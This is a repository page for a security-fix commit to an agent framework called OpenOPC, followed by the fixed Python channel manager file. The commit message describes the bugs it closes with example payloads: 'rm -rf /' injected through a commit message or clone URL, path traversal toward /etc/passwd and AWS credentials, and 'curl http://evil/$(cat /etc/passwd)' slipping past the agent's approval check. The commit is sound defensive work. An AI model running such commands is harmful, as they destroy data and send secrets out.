975b852e78
A security and robustness audit of the tool-execution, market-package, and approval subsystems surfaced several high-impact issues. Each is fixed with a minimal, targeted change; regression tests are included. Command injection (shell_exec runs `bash -lc "<cmd>"`, so interpolated args are shell-evaluated): - git_commit: the commit message was interpolated raw into the command string. A message like `foo" && rm -rf / #` injected arbitrary commands, and the approval layer never inspects `message`. Now shlex-quoted. - git_clone: the URL was interpolated raw. `https://x.git; rm -rf /` or `$(curl ...)` was executed. Now shlex-quoted. Path traversal: - package_loader._write_prompts / uninstall: `package_id` (from an untrusted manifest) was used directly as a directory name under prompts/market and passed to mkdir(parents=True) / shutil.rmtree. An id like `../../projects/<victim>` enabled arbitrary file write and arbitrary directory deletion. Added _market_prompts_dir() which validates the id (lowercase alphanumeric + -/_) and confirms the resolved path stays inside the market base; uninstall validates up front. Prompt-content filenames are also confined to the package dir. - sandbox_checker: a malformed package id was only a *warning*, so report.passed stayed True and callers proceeded. Promoted to a hard error. - package_exporter: prompt refs (bare strings from package definitions) were read with `opc_home / ref`, so `/etc/passwd` or `../../.aws/credentials` were bundled into exported packages. Now confined to opc_home. - ws_handler._write_custom_prompt: employee_id (derived from user-supplied role id/name) flowed unchecked into the path, enabling traversal writes. Now reduced to a safe path component with a containment check. Approval bypass: - approval: a command beginning with a safe prefix (curl/echo/find/...) was auto-approved as LOW risk even when it contained shell command substitution. `curl http://evil/$(cat /etc/passwd)` was classified safe and ran with no human/LLM review, letting bash exfil data. Added _command_has_shell_substitution() and gated safe-prefix matching on it. Correctness / robustness: - shell: when a shell_prefix was active, `[args[0], args[1], command]` dropped the `-Command` flag from PowerShell argv (4 elements), silently breaking every prefixed PowerShell tool call. Now replaces only the trailing arg. - runtime_v2: tool arguments that are valid JSON but not an object (e.g. a JSON array) were silently replaced with `{}` while arguments_parse_error stayed None, so the tool executed with empty args (todo_write could wipe the task ledger). Now flagged with a parse error. - store: _json_loads raised on corrupt JSON; it is called during store.initialize() (via _sweep_stale_claims), so a single corrupt row prevented the store from ever opening. Now falls back to the default. - engine: _parse_reorg_payload returned any JSON type; callers did `.get(...)` and crashed (AttributeError) on `reorg propose 42`. Now returns None for non-dict JSON. - channels.manager: a single failing channel.send propagated out of the only outbound dispatch loop and silently stopped all message delivery on every channel until restart. Now caught and logged. - ws_handler: a non-object JSON frame (null/number/array/string) made `data.get` raise AttributeError and drop the whole WS connection. Non-dict frames are now ignored. Co-Authored-By: Claude <noreply@anthropic.com>
127 lines
5.0 KiB
Python
127 lines
5.0 KiB
Python
"""Channel manager for OpenOPC."""
|
|
|
|
from __future__ import annotations
|
|
|
|
import asyncio
|
|
from typing import Any
|
|
|
|
from loguru import logger
|
|
|
|
from opc.channels.base import BaseChannel
|
|
from opc.channels.provider_registry import PROVIDER_SPECS, ordered_provider_specs
|
|
from opc.core.config import OPCConfig
|
|
from opc.core.models import SystemMessage
|
|
from opc.layer0_interaction.message_bus import MessageBus
|
|
|
|
|
|
class ChannelManager:
|
|
def __init__(self, config: OPCConfig, bus: MessageBus):
|
|
self.config = config
|
|
self.bus = bus
|
|
self.channels: dict[str, BaseChannel] = {}
|
|
self.channel_errors: dict[str, str] = {}
|
|
self._dispatch_task: asyncio.Task[Any] | None = None
|
|
self._init_channels()
|
|
|
|
def _init_channels(self) -> None:
|
|
for spec in ordered_provider_specs():
|
|
cfg = getattr(self.config.channels, spec.name)
|
|
if not cfg.enabled:
|
|
continue
|
|
channel = self._build_channel(spec.name, cfg, spec.module_name, spec.class_name)
|
|
if channel is None:
|
|
continue
|
|
self.channels[spec.name] = channel
|
|
logger.info("Channel configured: {}", spec.name)
|
|
|
|
def _build_channel(self, key: str, cfg: Any, module_name: str, class_name: str) -> BaseChannel | None:
|
|
try:
|
|
module = __import__(module_name, fromlist=[class_name])
|
|
cls = getattr(module, class_name)
|
|
return cls(cfg, self.bus)
|
|
except Exception as e:
|
|
logger.warning("Channel {} not available: {}", key, e)
|
|
self.channel_errors[key] = str(e)
|
|
return None
|
|
|
|
@property
|
|
def enabled_channels(self) -> list[str]:
|
|
return list(self.channels.keys())
|
|
|
|
def get_channel(self, name: str) -> BaseChannel | None:
|
|
return self.channels.get(name)
|
|
|
|
def get_status(self, name: str) -> dict[str, Any]:
|
|
spec = PROVIDER_SPECS[name]
|
|
cfg = getattr(self.config.channels, name)
|
|
enabled = bool(getattr(cfg, "enabled", False))
|
|
channel = self.channels.get(name)
|
|
capability = channel.describe_capability() if channel is not None else {
|
|
"name": name,
|
|
"delivery_mode": spec.delivery_mode,
|
|
"available": False if spec.required_package and name in self.channel_errors else True,
|
|
"configured": False,
|
|
"missing_config": list(spec.required_config_fields),
|
|
"running": False,
|
|
"ready": False,
|
|
"last_error": self.channel_errors.get(name, ""),
|
|
}
|
|
return {
|
|
"name": name,
|
|
"enabled": enabled,
|
|
"delivery_mode": capability.get("delivery_mode", spec.delivery_mode),
|
|
"available": capability.get("available", True),
|
|
"configured": capability.get("configured", False),
|
|
"ready": capability.get("ready", False),
|
|
"running": capability.get("running", False),
|
|
"missing_config": capability.get("missing_config", []),
|
|
"last_error": capability.get("last_error", "") or self.channel_errors.get(name, ""),
|
|
"bridge_required": spec.bridge_required,
|
|
"extra_name": spec.extra_name,
|
|
"required_package": spec.required_package,
|
|
}
|
|
|
|
def get_all_statuses(self) -> list[dict[str, Any]]:
|
|
return [self.get_status(spec.name) for spec in ordered_provider_specs()]
|
|
|
|
async def start_all(self) -> None:
|
|
for name, channel in self.channels.items():
|
|
try:
|
|
await channel.start()
|
|
except Exception as e:
|
|
logger.warning("Failed to start channel {}: {}", name, e)
|
|
channel.set_last_error(e)
|
|
if self._dispatch_task is None:
|
|
self._dispatch_task = asyncio.create_task(self._dispatch_outbound())
|
|
|
|
async def stop_all(self) -> None:
|
|
if self._dispatch_task:
|
|
self._dispatch_task.cancel()
|
|
self._dispatch_task = None
|
|
for channel in self.channels.values():
|
|
try:
|
|
await channel.stop()
|
|
except Exception:
|
|
pass
|
|
|
|
async def _dispatch_outbound(self) -> None:
|
|
while True:
|
|
message = await self.bus.get_response(timeout=1.0)
|
|
if message is None:
|
|
continue
|
|
# A single failing send (network reset, malformed chat id, etc.) must not
|
|
# terminate this loop — it is the only outbound consumer for every channel,
|
|
# so one exception would silently stop all message delivery until restart.
|
|
try:
|
|
await self.dispatch_outbound(message)
|
|
except Exception as exc: # noqa: BLE001 - resilience of the dispatch loop
|
|
logger.exception("Failed to dispatch outbound message: {}", exc)
|
|
|
|
async def dispatch_outbound(self, message: SystemMessage) -> None:
|
|
channel_name = message.channel or self.config.system.default_channel
|
|
channel = self.channels.get(channel_name)
|
|
if channel is None:
|
|
logger.debug("No channel dispatcher for {}", channel_name)
|
|
return
|
|
await channel.send(message)
|